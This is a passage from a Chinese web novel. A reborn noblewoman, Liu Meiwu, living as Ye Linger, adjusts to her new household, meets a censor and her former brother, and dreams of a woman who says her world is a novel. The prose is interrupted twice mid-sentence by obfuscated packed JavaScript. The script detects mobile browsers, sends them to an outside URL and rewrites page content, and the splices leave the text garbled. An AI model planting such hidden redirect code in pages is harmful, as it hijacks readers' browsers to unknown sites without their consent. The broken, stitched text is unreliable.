柳眉妩偏头看了眼小茶,若有所思,却也不再拒绝。她自借尸还魂后,谎称高烧失忆,从小茶口中零零碎碎得知了不少叶家情况。总结来说就是,操劳早逝的娘,踪迹不定的爹,身虚体弱的她,以及,大事小事一堆儿的首富管家。 可是,秋千姑姑管再多事,到底不是姓叶。而叶茂最爱求仙问道,三天两头不着家,总是外出寻仙人采仙草炼仙丹,短则十天半月,长则一年半载。如此一来,叶家真正当家做主的人,其实是她这个病秧子小姐叶灵儿。 想清楚这点,柳眉妩便随意了。左右是回自己家,自己当家做主,还不是随自己夸口胡说。 杨无名见柳眉妩没异议,便抱剑在旁,一路护送。主仆二人携手而行,嘻嘻哈哈,渐渐落后几步。 “小姐,你在想什么?”小茶朝柳眉妩咬耳朵。 “在想小茶,你和二表哥很熟吗?” “小姐说哪里话,二公子是你的表哥,又不是我的表哥。” “那就更奇怪了,你一开始对他那么戒备,怎么一下子就变了态度?” 半日相处,柳眉妩早已知晓,叶灵儿的这个贴身丫鬟小茶,亦仆亦友,最是忠心护主。所以她说什么做什么,柳眉妩就算不理解,也不会贸然反对。当然,不代表她不会好奇。 “小姐你还说,小茶刚刚向你递了好几个眼色,你都瞧不见。好在二公子端方守礼,是个正人君子,要不然小姐肯定吃亏。” 柳眉妩半晌无言,摸摸她的头,神色动容,“小茶,谢谢你。” 其实她并不知道,南山林中,小茶在义无反顾冲向自己,张开双手护着自己之前,正难受得浑身恶寒,扶树呕吐。 她只是感动于那一份纯粹赤诚,小茶给叶灵儿的纯粹赤诚。在可能有危险的时候,小茶第一反应不是躲避或逃跑,而是选择将叶灵儿纳在自己身后,张开单薄却温暖的双手紧紧护着她。 即使她自己也吓得浑身发抖。 小茶挠挠头,不好意思地笑了笑:“小茶保护小姐,应该的嘛!而且二公子又不是坏人,小茶也没做什么。” 柳眉妩好笑道:“小茶,你就这么信二表哥?” “当然啦,二公子又不是外人。” 柳眉妩忽然想到一个可能,眯眼瞧着前面几步远处挺拔修正的背影,不可思议地问:“难道说,二表哥是我失散多年的亲兄弟?” 小茶呛了半晌,低声跺脚道:“小姐!不要乱说!” “这也不是,那是什么?” “当初,老爷决定从碎叶迁回成都,原因有三。一是夫人的尸骨要入祖坟,二是老爷要回来寻仙人采仙草炼仙丹,三就是,为了小姐,你和将军府的婚约。” 柳眉妩瞪大了眼,“我和二表哥有婚约?” 小茶慌忙捂她的嘴,余光似乎瞥见杨无名身形一顿,很快又恢复如初,不知是不是自己眼花了,忙小小声道:“不是二公子,是大公子。” 4. 鹅香 柳眉妩眼前蓦地浮现一双眼。 湿漉漉的,如小兽一般,眸色清亮,静时澄澈如月,望向她时目光流转,又灼灼如星。忽而双睫微敛,明光黯然,好似闪烁的星子被云遮了一遮。 她几乎能立即回忆起那张脸。 不似大哥哥凌厉,不似二哥哥温润,不似顾思义张扬,不似小十三冷硬,也不似长安男儿多纨绔,而是独一份的少年意气,干净风流,插花走马醉千钟。 只可惜,格外爱哭。 悲了哭,喜了哭,不悲不喜也哭,简直无时无地不哭。早先因故冷落他半天,尚且哭得肝肠寸断,如今噩耗裹尸传回长安,不知他又会是怎样一副泪人模样? 想到这,她垂下眼,极轻极轻地叹了口气。 “小姐不要叹气。虽然小茶也没见过大公子,但今日见到二公子,丰神俊朗,端方守礼,便知大公子定是差不到哪里去的。” 柳眉妩下意识反驳:“这可不一定,知人知面不知心。” “那倒也是。小姐选夫婿,定要选个知人知面,心有灵犀的。” 柳眉妩直觉这话有问题,一时又找不出错处,待反应过来,见小茶憋笑憋得满脸绯红,顿时挽衣,将两只手呵了两口,伸向小茶腰身处乱挠,“好啊小茶,你取笑我!” 小茶受不住痒,被她挠得咯咯直笑,喘不过气,忙求饶道:“小姐,小茶错了,饶了我吧。” 就这样,主仆二人且行且停,一路打闹,跟在杨无名身后,荡悠悠下了山,拐角处再行几步,远远便见到浣花别业的后门。 柴门虚掩着,有蝶停在门环上,扑翅间,门扉缓缓曳开,依稀可见门内亭台楼阁,勾心斗角,美轮美奂。夕阳在门槛上跃动,很快又跳入柳眉妩眼中,浮光跃金,粼粼烁烁地闪。 不知是因为换班还是用膳,后门没有人值守。杨无名便要继续走,带她们往前门进去,也好光明正大地拜谒叶茂。 柳眉妩却径直推开了柴门,一边招呼小茶,一边朝杨无名招手,“二表哥,我到家了,不用再送了。爹爹今日不在家,就不留二表哥闲坐喝茶了,等哪日爹爹回来,我们再去府上拜谢。” 杨无名有些意外,却也没说什么,礼貌道别后便转身离开了。柳眉妩走了几步,转过花廊,又忽然停住,翕翕鼻子,回头看着两扇古朴厚重的柴门,若有所思。 进门来,高高低低几处石阶,曲曲折折几道回栏,疏疏朗朗几丛花木,似乎漫步在山野园林。远些望,掩映的却是玲珑精致的廊腰檐牙。 小茶一拍脑袋,“哎呀,忘记关门了。” 待小跑过去插好门闩,再回到小姐身边,却听柳眉妩忽然开口道:“小茶,我们家是不是很有钱。” 这话听着像问句,却没有半分疑问语气,仿佛是在陈述一个众所周知的事实,所以不足为奇。 “那是自然,老爷可是碎叶和成都的双首富。”小茶下巴轻扬,看起来得意极了,“自然有钱。” 柳眉妩颔首,心下了然。 一个是三国通衢的碎叶,一个是天府之土的成都,无论哪方首富,单拎出来都是会让大哥哥多看一眼的殷实程度,叶茂竟还是双首富。就是不知,叶家行商坐贾,守的泼天富贵,来路到底清不清白? 小茶打量着小姐神色,不明所以地问:“小姐,是有什么问题吗?” 柳眉妩面无表情,“没问题。” 才怪。 她自小出入朱门,生于斯,长于斯,见惯了钟鸣鼎食的大富大贵。皇宫,王苑,相府,目之所及,雕栏玉砌,金碧辉煌,哪样不是坦坦荡荡的富贵迷人眼。 而叶家不同。 放着五进五出的叶家祖宅不住,举家搬来南山脚下浣花溪畔的别业。前门是蓬门,后门是柴门,端的是无欲无求,隐于山野,实则却别有洞天。 出蓬门时她坐的软轿,不曾留意。就说后门的柴门,匾额是黄梨,楹联是紫檀,门扉是金丝楠,哪样不是寸木寸金?便是在长安洛阳,多的不说,二品以下的人家决计不敢这么奢靡。 而叶家却如此。 * 回到灵犀院,灯火已通明,值守的丫鬟见她回来,连声通传。柳眉妩正奇怪怎么回事,忽听门内传来一阵杂碎的脚步声。不多时,哗啦一声帘子响,两个丫鬟领着一群人浩浩荡荡出来了。 丫鬟们见到她,簇拥着围上来,叽叽喳喳地问好。秋千姑姑熟络拉过她的手,往她怀里塞了个暖乎乎的手炉,上下仔细打量了一番,这才舒心笑道,直念阿弥陀佛,“小祖宗,你可算回来了,叫我好一阵担心。” 进了门,有的为她取幂篱,有的为她脱狐袄,有的捶肩,有的捏腿,小茶无事可做,便向秋千姑姑报备行程。秋千姑姑听完,倒也不多责怪,只是为她倒了杯茶,转头吩咐柳绿去传膳。 “小姐,饿了吧,喝杯热茶暖暖身子,晚膳就快好了。” 柳眉妩应好,接过茶杯坐在八仙桌,水汽氤氲,很快浸染了眉眼,像花香,又像药香,入口却清心润脾。不多时,身子暖和起来,眼皮也跟着黏糊起来,隐隐有了上榻的心思。 正百无聊赖,昏昏欲睡,忽听一声剪烛响,秋千姑姑开口道:“小姐,胡郡守派人来传话,说今晚在公廨设了头七道场,请你过去。” “不去。” “小姐可是哪里不舒服?”秋千姑姑看她神色困倦,不禁有些担忧,转头吩咐道,“桃红,去回春堂,请薛大夫来。” 柳眉妩按了按眉骨,闭目道:“直接拒绝便是,不必解释。” 秋千姑姑口中应好,语气却有些犹豫。 柳眉妩默了默,睁眼重新打量她,还算听话,就是不够通透。若在新月馆,许多事根本不必直言明说,那些丫鬟婆子个个人精儿一样,哪里需要她这般掰开揉碎了解释。 她无声叹息,但到底不是在新月馆。 “四公主既已入土为安,还是少去打扰的好。你派人告诉胡郡守,往后也不必来请我,请了我也不会去。清明不去,满七不去,其余时候更不必说。”柳眉妩淡声说完,意味深长,“万言万当,不如一默。多做多错,不做,不错。” 秋千姑姑心中激荡,连声应是,恍惚觉得小姐好像哪里不一样了,却又说不上来。 柳眉妩不再看她,径自起身,“小茶,替我更衣。” 小茶应好,连忙随她移步次间。 灵犀院相比新月馆,虽说不大,却也七开俱全。正中明间见客用膳,左右次间分别是客房和闺房,再次梢间,一作杂房,一作书房,最末尽间,则是丫鬟们的住房。 她从明间走进次间,入目皆素,简直雪洞一般。拔步床上吊着白纱帐幔,衾褥也朴素,只在床尾处设了一道青绿屏风,上面绘着千里江山图。 她在屏风后张臂,正对面是一张妆镜台,妆匣无几,铜镜端立,依稀映出窈窕身影。左手边是一方紫檀木香案,案上净瓶清供柳枝,博山炉中冷烟流溢,一盏青瓷灯,一只香奁,并几本书,和一个文盘而已。 满室生香,是药味杂着沉香,被暖炉一烘,清苦又馥郁,熏得人浑身松散。柳眉妩翕了翕鼻,忽然道:“小茶,把沉香撤了。” “要换回安息香吗?” 柳眉妩一愣,“安息香?” “小茶多嘴,还以为小姐想起什么了。” “继续。” 小茶便继续道:“小姐十岁那年,在家中失足落水,高烧不退,再醒来也是什么都不记得了,还将房里的安息香换成了沉水香。” “有这回事?” “因为落水受惊,小姐吓得话都不会说了,养了三个月才能重新开口。不过,小姐也不用太担心,这次比上次好太多了,口齿清晰,雅言都说得标准不少呢。” 更了衣,盥了手,小茶又为她梳头卸妆。温热帕子擦完脸,不留半点水痕,她伸手拂过眉心,空无一物,怅然若失。 镜中人高鼻深目,眉不描而翠,唇不点而朱,肤白如凝脂,愈衬着一头浅棕色卷发光泽动人。叶灵儿无疑是美的,玲珑精致,温婉娴静,加之周身又带病气,更显出几分柔弱破碎之感,我见犹怜。 可是,这不是她。 柳眉妩此人,虽说也是正儿八经的世家贵女,却有些名不符实。通身上下,或许只有眉间一点朱砂痣与名字相合,鲜红欲滴,能显出几分稀微的妩媚之意。其余时候,胡服骑射,探诡断案,小小年纪便打遍长安无敌手,谁见了不赞一句女中豪杰。 她张扬,恣意,茁壮成长。是女中芜草,也是女中乔木,不蔓不枝,凌霜傲雪,亭亭净植。经年后,草如茵,木如盖,她不拘一格,自成一格。 想到这里,她忽然有些释然。无论是借尸还魂,还是鸠占鹊巢,都无所谓了。她是叶灵儿,更是柳眉妩。 她永远是她自己,独一无二,无可替代。 这样想着,她这样说道:“小茶,换了沉香,以后都用鹅梨帐中香吧。” * 翻过春分,日渐清明。 彩虹糖吃完了,秋千姑姑就去回春堂抓来补心丸续上;海内经看完了,柳眉妩又让小茶去天一阁抱来医书,得闲便翻。翻得多了,似懂非懂,竟也有几分久病成医的恍然。 到了三月,转眼便是上巳,天朗气清,惠风和畅,柳眉妩带着小茶出门踏青。恰逢浣花雅集,曲水流觞,才子吟诗,美人起舞,无不各得其乐。 她和小茶且行且停,往上游寂静处而去,人声渐小,春色却浓,千朵万朵压枝低。她脱了鞋袜,赤脚踩在草地上,跳着,跑着。 春风吹散了她的鬓发,吹开了她的衣襟,凉丝丝的,她无所谓;春草刺着她的脚心,春泥脏了她的脚心,痒酥酥的,她也无所谓。她张开双手,放声长啸,杏花落满身,仿佛拥抱了整个春天。 恍惚间,忆起不知哪年的曲江春游。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268959|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陌上少年,倜傥风流,穿一身绯色春衫,于桃林深处倒挂金钩。双手枕在脑后,眼睛半睁半眯,张着嘴去接簌簌而飞的桃花。 …… 尽兴回到别业,天色已晚。晚饭时因贪嘴喝了两杯酒,柳眉妩眼饧耳热,倒头歪在明间榻上,渐入朦胧之境。不知过了多久,恍惚听见一阵嘈杂声响,听清了,才知是秋千姑姑在说话。 “夜里风大,怎么就让小姐胡乱睡在榻上,受凉了怎么好?” 柳眉妩醒来说道:“不打紧,我盖了薄被,受不到凉。本来躺在榻上看书的,懒怠动了,就没去床上睡。” 秋千姑姑知她意思,扫一眼小茶,倒也没再多言责怪,只是问道:“小姐,老爷回来了,是晚些时候见一面,还是明儿个再见?” 柳眉妩懒腰伸到一半,动作微顿,转而又了然。四日后便是清明,叶茂离家了大半月,就算不记挂女儿,也该回来祭拜花夫人了。 “现在就去。”她起身,几乎毫不犹豫。 小茶忙为她换上厚春服,又在外披了件孔雀氅衣,拿好暖手炉,才放心出了次间。丫鬟们见两人出来,忙不迭簇拥上去,七嘴八舌地笑闹着。 月提着一盏青灯,随她们走走停停,穿堂过院。笑音泠泠,直上九霄,月儿似是受惊,躲进云间,下一瞬又不动声色地跃上柳梢头,将前院覆一层银样的辉光。 一阵风过,柳絮飘摇,柳眉妩闻到熟悉的鹅香,极浅极淡,却真真切切。她似有所感,停步回望,霎时浑身僵住,心跳一顿。 朗月清辉下,少年背倚树干,怀抱长剑,似乎是在闭目养神。他的一条腿随枝桠伸展,另一条腿漫不经心垂下,锦袍猎猎翻飞,与万千柳条缠绕。 柳眉妩嘴唇微动,呢喃一声。 小茶没听清,凑近问道:“小姐,你说什么?” 丫鬟们不明所以,七嘴八舌地讨论起来。少年似是被吵醒,皱了皱眉,眼皮半掀,斜目睨了过来。恰有银辉倾泻而下,映得那双含星眸子愈发清亮。 柳眉妩十分确定,他看到了自己,因为他的眉头一瞬间锁得更紧了。 两人就这么隔空对望。 一瞬,两瞬,三瞬,少年忽然瞪她一眼,随即别过头去。鬓边新折的梨枝一闪而过,只留给她一个金带墨发的后脑勺。 柳眉妩微微讶然,倒不是因为堂堂世子当众对她无礼。而是,怎么瞧怎么觉得,宝儿皱眉瞪眼的后脑勺,颇有几分恼羞成怒的意味呢? 是因为扰他清梦?但是,不应该啊,宝儿的起床气微乎其微,几乎可以忽略不计。她回想两人隔空对望的几瞬,眯了眯眼,心中冒出另一个猜想—— 难不成,宝儿认识叶灵儿? 细想又觉得不可能。她没遇害前,宝儿不曾离开长安,叶灵儿也不曾去过长安,山高水远,两人怎么可能认识?可若是不认识,宝儿又何故如此这般? 思绪万千,她在风中兀自凌乱。易安堂前守门的小厮隔老远瞧见她,忙不迭跑来迎接,“小姐来了,老爷这会儿还在和白大人议事。小姐是直接过去正厅见礼,还是先到偏厅候着。” 众丫鬟这才回过神来,叽叽喳喳地劝道:“小姐,先进屋去吧,夜里风大,小心着凉。” “直接去正厅吧,许久不见爹爹,我甚是想念。”柳眉妩说完,话题一转,又问,“爹爹回来多久了?” “不到一个时辰。老爷和白大人一道回来的,回来后直入易安堂,说是有要事相议,不让我们打扰,这会儿还没结束呢。” 白大人? 柳眉妩无端想到一个名字,可转念一想,又觉得不可能。再一转念,想到树上的宝儿,又觉得大有可能。 蓦然回首,素月伶仃,万条空垂绿丝绦,树上人早已不知所踪。柳眉妩叹息一声,思绪回笼,不知不觉便被丫鬟小厮簇拥到了易安堂前。 小厮在门外通传,很快得了许可,她提着裙摆进去,低眉福身地行礼,“灵儿见过爹爹。” “娇儿来了,身子可好些了?你看看,是谁来了。” 乍一听到有些熟悉的称呼,柳眉妩不禁失神。勉强回了神,依言抬头,来不及看清叶茂模样,余光又瞥见几抹更为熟悉的身影。她心跳怦怦,愕然侧身,瞬间呆在原地。 在场几人也有些错愕。 “娇儿,不得无礼,这是白御史白大人。”叶茂轻咳一声,却没将看直眼的女儿唤回神,不免有些尴尬,“白大人,小女大病初愈,许是还有些魔怔。尊前失态,多有冒犯,还望大人不计小女过,多多海涵。” 白御史看她一眼,温和笑道:“叶公言重了。令千金天真烂漫,憨态可掬,我亦见之可爱。” 叶茂哈哈笑了两声,又向她道:“娇儿,还不快见过白大人,见过二表哥。” 柳眉妩眨了眨眼,不知是回神了还是没回神,直直看着眼前人,口中讷讷道:“见过二哥哥。” 5. 通灵 柳眉妩半夜醒来,捂面哀嚎。 怎会如此尴尬。 无怪二哥哥惊诧莫名,杨无名疑惑非常,好在叶茂见多识广,习惯成自然,一会儿说脸盲,一会儿又说语失,为她开脱。 如今细想,那时人多眼杂,的确不是相认的好时机。况且,死而复生兹事体大,还不知二哥哥能否相信,还是徐徐图之的好。 这么想着,她迷迷糊糊睁开眼,似乎闻到一阵沉水香。无灯无烛的房中漆黑一片,借着窗外不知是月光还是灯光的清亮,依稀可辨妆镜台前坐了个人,背对着她,影影绰绰。 她失魂般掀被下床,赤脚踩在地上,鬼魅般阒然无声。待走近了,身后忽然传来一道问话,“你是谁?怎么和我一模一样?” 静夜无声,那人忽然开口,音色泠泠,于空寂处似有回响,更添森森之意。 柳眉妩刚想回话,忽然眼前一花,再次恢复正常时,她正坐在妆镜台前,提笔写些什么,一面写,一面咳,险些背过气去。 她茫然了几息,很快又想了起来,于是不以为意地回道:“或许是因为,你在照镜子吧。” “我确实在照镜子。”那人似乎笑了一声,又似乎没有,“可是,你不也在照镜子吗?” 笔下稍顿,一滴豆大的墨倏然落在纸上,瞬时漫开,像一个深不可测的漩涡。柳眉妩移目望向铜镜,借着窗外微光,半明半昧间,依稀可见一张陌生又熟悉的脸。 她眨眼,镜中人也眨眼,她皱眉,镜中人也皱眉。两两对望,便如天上月遥照水中月。 柳眉妩喉咙颤了又颤,很快冷静了下来。她放了笔,慢慢起身,又慢慢转身,和身后人对面而立。 分明两人相对而立,镜中却只有一道身影。 看着面前熟悉又陌生的脸,柳眉妩沉声问道:“你是谁?” 那人道:“我是柳眉妩。” “你是柳眉妩?”柳眉妩眯了眯眼,似嗤似笑,“那我是谁?” 眼前又一花,柳眉妩险些没站稳,待再次恢复正常,只觉得莫名其妙,脱口而出,“你是谁,问我做什么?你姓甚名谁,自己不清楚吗?” “姓甚名谁?”沉默半晌,那人幽幽出声,“我姓什么,我叫什么,就是我吗?” “不然呢?” “你叫柳眉妩,我也叫柳眉妩,那么谁才是真正的柳眉妩?” “你真叫柳眉妩?”柳眉妩着实有些惊讶了,回神却道,“若是如此,倒也不必强分真假。世界之大,无奇不有,同名同姓者虽不多见,却也切实有之,不足为奇。不过,就算同名同姓,巧而合之,也只能说明你我有缘罢了。际遇不同,性情不同,便是截然不同的两个人。” 那人“哦”了一声,若有所思道:“所以姓名并不是我,因为我可以叫任何名字。” “这是自然。你可以隐姓埋名,可以换姓改名,还可以取字取号取别名,诸如此类,不一而足。说白了,名字不过是个代号,方便旁人如何称呼罢了,并不是真正的你。” “你和我一模一样,所以模样也不是我。” 柳眉妩顿了顿,半晌才道:“是,也不是。你确实可以装模作样,也可以改模换样,但终归本性难移。你如何待人,如何接物,一举一动,一言一行,才是真正的你。” 那人恍然大悟,“我想起来了,我确实不是柳眉妩。” 柳眉妩却不惊讶,即便那人犹如变戏法般,模样忽然从柳眉妩变成了叶灵儿,她也只是平静问道:“所以,我该怎么称呼你呢,叶灵儿?” 那人却摇了摇头,“我不叫叶灵儿,我叫凌敏。从水夌声的凌,从攴每声的敏。你可以叫我敏敏,我的朋友都这么叫我。” 她看着柳眉妩,眼神是那样清澈,又那样明亮。如亘古长明的星,历经沧桑,归于淡泊,最终不偏不倚地投影在她波心。 “好,敏敏。”柳眉妩依着她的意思叫了,才问道,“你在写什么?” “日记,你见过了。” 柳眉妩低头去看,却什么也看不见。明明白纸黑字就摊在眼前,可她看时,却是白茫茫,黑黢黢,模糊一片。 她如实道:“我看不见。” “不打紧,我讲给你听。”凌敏神色了然,开口却是霹雳,“我来自异世,很久很久之后的时空。在我的世界,我曾经看过一本小说,也就是你们说的传奇话本子,里面写了这样一个故事…… “在某个重农抑商的架空朝代,男主生于商贾世家,却一心只读圣贤书。下人不理解他,友人不理解他,就连族人也不理解他。只有他的父母,因为生他时梦见太白金星临凡,笔端开出青莲,便深信自己的孩子是文曲星转世。 “男主十五岁那年,辞家上京,涂名赴考,果不其然拔得头筹,诗文政论都是第一。但是,他还是落榜了。不仅落榜,被夺了状元身份,被罚了百金,还被勒令终身不得再入长安。 “于是他心灰意冷,弃儒从道,终日醉卧东山,过起了闲云野鹤的日子。交往非仙即道,闲来对坐讲经,蹉跎十五年,可浅水何曾困蛟龙?一朝飞黄腾达,他东山再起,入阁拜相,自此君臣际会,共襄盛世,享年九十有六。” 她的话乍听石破天惊,再听魂悸魄动,是人都会觉得匪夷所思,可柳眉妩没有打断她,而是等她娓娓道来:“对了,男主姓叶,名茂,字子林。” “我猜到了。”柳眉妩神色平静,“那柳宁甫呢?” “好的故事讲究虚实相生,详略得当。”凌敏笑得云淡风轻,“我的意思是,柳宁甫既不是本书的主角,自然笔墨稀少。不过寥寥几行,便是他的一生,不足为道。” 不过寥寥几行,便是爹爹的一生。 那个生晋太傅死谥文正的太平相,那个鞠躬尽瘁死而后已的太平相,那个先天下之忧而忧后天下之乐而乐的太平相,那个让天下士人高山仰止景行行止的太平相,原来时过境迁之后,也只有寥寥几行的笔墨,便被道尽了一生。 还不足为道。 柳眉妩忽然有些难受,又有些释怀。难受是因为爹爹,释怀也是因为爹爹。 因为她忽然想到,像爹爹这般惊才绝艳的人物,生时位极人臣,死后配享太庙,竟也难免在历史长河中湮灭光芒,又何况平平无奇的她呢。 她想起爹爹常读的那句词,也是刻在爹爹墓前的那句词,“了却君王天下事,赢得生前身后名”。可是,身后虚名,便如镜中观花,水中望月,还不如即时一杯酒,便是赢来又有何用? 一刹那,她忽然有了新的想法。 了却生前事,不论身后名。 如此,生虽有欢,死却无惧。 何况她本就是借尸还魂,死而复生。既是重活一世,多活一日便赚一日,真真假假,假假真真,又何必瞻前顾后,畏手畏脚,反给自己找不痛快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268960|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到这里,柳眉妩长舒一声,心境豁然开朗,却听凌敏冷不丁发问,“娇娇儿,你知道这本《叶茂传》的作者是谁么?” 柳眉妩摇头。 凌敏继续道:“无名氏。” 柳眉妩愣了一瞬,又一瞬,旋即恍如霹雳惊醒,头皮发麻,浑身止不住颤栗,口中喃喃重复:“无名氏?” 凌敏但笑不语。 一切却在不言中。 既是无名,便是众生。你,我,他,何人不能按纸执笔?如此一来,或批阅,或增删,自然全凭各人喜欢。 柳眉妩恍然大悟,“我当真是着相了。光想着奇文共欣赏,疑义相与析,却忘了小说不过稗官野史之作,街谈巷议之语,道听途说之流,最是无稽。人生天地间,行不更名,坐不改姓,此人却不愿以真面目示人,而以无名氏传世,居心可见一斑。如此一家之言,偏颇之论,焉知不是大言炎炎小言詹詹?纵有再多春秋笔法,孰是孰非,孰褒孰贬,又何足道哉!” 她缓缓笑起来。 也或许,圣人便是无名,发此木铎金声,只为警醒世人。又或许,举头三尺真有神灵,听她夙愿,予她重生。 但她不信。 人生本如蚕,终其一生,都在吐丝做茧,追名逐利,驱而复返,不死不休。而圣人逍遥九天,神灵遍身罗绮,他们高高在上,并非看不到地上作茧自缚的蚕子,却无不袖手旁观,冷眼看众生皆苦。 而爹爹,而大哥哥,以及无数的文臣武将,本是凡人之躯,却君臣一心,宵衣旰食,殚精竭虑,只为百姓安居乐业,天下海晏河清。 她不怪圣人神灵,却也无法与之共情。因为她不是圣人,也不是神灵,只是芸芸众生中的一个,安居乐业中的一个,得幸死而复生中的一个。 故而,重活一世,如何生活便当由她自行主张。是作茧自缚,还是破茧成蝶,不在圣人笔墨,也不在神灵意愿,而全在她一念之间。 也只在她一念之间。 如此而已。 * 柳眉妩恍惚醒来,不知几更天,窗前珠帘闭得紧,透不进半点光。 她在床上翻来覆去,怎么也睡不着,忽听一道声音在白纱帐外响起,“小姐,你是不是又做噩梦了?” 柳眉妩回忆半晌,茫然道:“小茶,我好像做了个很长很长的梦,但是想不起来了。” 长梦巍峨,如玉宇琼楼,她跋山涉水地寻,所到之处,却是海市蜃楼。无论她如何绞尽脑汁,回忆总是零零碎碎,似是而非。 小茶为她续上鹅梨帐中香,温声劝道:“一个梦而已,小姐想不起便想不起了,没什么要紧的。” “不是梦。”柳眉妩怅然若失,声音闷闷的,“小茶,我一定忘记了什么重要的事,但我实在想不起来了。” 小茶不以为意,继续宽慰道:“实在想不起来,便不要去想了,也不急在这一时半会儿的。说不定,等小姐睡一觉起来,就什么都想起来了呢。” 柳眉妩静默半晌,点头应好,躺回床上。闭上眼,却听见外面淅淅飒飒地响,像雨声,又像风声,铺天盖地。停了一会儿,又听见远远的吆呼声,细听却是小茶熟睡之后,鼻息出入之声。正迷迷糊糊,将睡未睡,恍惚又听见枝上鸟儿的叫声,叽叽喳喳,吵个不停。 柳眉妩哪里还睡得着,眼看着窗上新糊的纸,隔着珠帘,渐渐地透进清光来。 6. 笔记 蜀地多阴湿,久雨初霁,倒显得天气格外响晴。遥闻几声犬吠惊梦,耳鼓处一阵钝痛,柳眉妩恍惚醒来,灵犀院中早已忙开了。 天光亮起她才睡去,回笼觉一睡睡到日上三竿。丫鬟们进进出出,交头接耳,因念着小姐没醒,不敢有大动静,这会儿见她醒了,忙不迭围上来七嘴八舌地报备。 小茶给她擦了擦汗,“小姐你醒了,没吵到你吧?我看今儿天晴,就让姐妹们进来清点一下衣物细软,紧着日头好,赶快搬去庭院里晒晒。小姐那么多宝贝,车马迢迢拉回成都,别放几天受潮生霉,就太不值当了。” “小姐,可不是我们故意吵醒你的,主要是太吓人了。” “对呀小姐,可不得了!你不知道,又死人了!” “是新娘枯尸。南山林出现了第七具新娘枯尸,死的是红尘阁的流莺姑娘。天哪,那模样惨的,真是吓死个人。” “真可恨啊,王不留行就该千刀万剐!” “可不是,简直人神共愤!” 众丫鬟又惧又愤,滔滔不绝骂了半晌,忽然想到另一件事,又转移话题道:“对了小姐,你绝对想不到,昨儿来府上的白大人,竟然是蜀郡新上任的御史大人。” “可不是,今儿一大早,白御史游街上任,锣鼓齐鸣,爆竹震天,中街两边挤满了人,仪仗队半天走不动道。要不是胡郡守他们看得紧,当街拦驾告状的怕是不知凡几。” “嗤,我看胡郡守他们狗腿巴巴的样子,往后可有好戏看了。四公主遇害案自不必说,新娘枯尸案指定也瞒不住了。白御史又是长安来的,天子脚下,官大得很,只要他有心彻查此案,胡郡守他们就是不倒也得掉层皮。” “说到白御史,我昨儿远远瞧见,便觉得好生俊朗,像天上的仙人一般,想必也是个菩萨心肠,愿意为我等申冤做主的。” 耳边叽叽喳喳,你方说罢我登场,任柳眉妩初醒时如何睡眼惺忪,这会子都醒得双眸炯炯,听到动容处,更是忍不住点头附和一句:“吾与点也。” 叫点点的丫鬟瞪圆了眼,挠挠脑袋,看着柳眉妩不知所措。听小茶解释两句,懂了意思,这才乐呵呵笑起来,眉眼飞扬。 闲聊片刻,小茶见时候不早了,便让众人回去继续干活,丫鬟们休息够了,笑应着四下散开。柳眉妩伸个懒腰,下床喝了两口茶,又觉百无聊赖,干脆捧着茶盏转去梢间看热闹。 角落处有个金箱,约三尺长,錾花雕鸟,扣了蝴蝶锁。她叫来小茶,问箱子里装的是什么,结果小茶摇头说不知道,只知道是叶灵儿的私物宝贝。 柳眉妩自然也不知道叶灵儿的私物宝贝,她绕着金箱转了转,转头问道:“小茶,你不是说爹爹有柄削铁如泥的宝剑么?” “是的,就在老爷的书房里。” “去取来。” 小茶应声去了,很快捧了柄长剑回来。鞘身古朴厚重,纹雕吉祥,字篆拂衣。抽剑而出,鸣声清越,冷光湛然,确实是柄不可多得的宝剑。 就是有些重。 她憋了暗气,用了巧劲,谁知叮当两声脆响后,一向削铁如泥的宝剑却怎么也削不开蝴蝶锁,柳眉妩当即收了剑。她并非惊讶蝴蝶锁百折不挠,因为她认出了蝴蝶锁的材质工艺,软金铸造,刀枪不入。 长睫虚掩,她眯眼看着面前岿然不动的金箱,思忖着用几分巧劲可以只劈箱不伤宝。想了想,又放弃了。 她心疼自己的手。 转念再想,收剑回鞘,又何尝不是另一种“事了拂衣去,深藏身与名”呢? 见她甩着腕子叹气,小茶一面帮她揉捏,一面宽慰道:“小姐,不打紧,说不定过段时日,钥匙就找着了呢。我就常常这样,想找东西的时候,怎么找都找不到,不找的时候,它又自己跑出来了,你说奇怪不奇怪。” 柳眉妩顺手点了点她的额头,好笑道:“依你这般丢三落四的性子,能找着东西才奇怪呢。” 小茶嘿嘿两声,忽听两个丫鬟问道:“小茶姐姐,我们搬哪箱?” 她随手一指,“就那箱吧,先把小姐的春服抬出去晒了。” “好嘞。”前面的丫鬟挑起箱子,忍不住嘀咕道,“这么重,可不像是衣裳,小茶姐姐你是不是弄错了?” 小茶疑惑,让她们放下箱子,打开箱笼又重新检查。铺在上面的确实是衣裳,可掀了几层却不是了。 “我真是糊涂了,怎么把小姐的首饰和衣裳混到一起了。”小茶拍了拍脑袋,开始弯腰挑拣起来,不知怎么掉出一支头钗。 柳眉妩眼疾手快地捡起,“这是什么?” “蝴蝶钗啊。”小茶余光瞥了一眼,手下动作没停,“对了,小姐……” 她的话还没说完,柳眉妩已拿着蝴蝶钗走远了。金箱上的蝴蝶锁很是奇特,别的锁大多一孔,它却有双孔,柳眉妩当时便怀疑开此锁的不会是寻常钥匙。 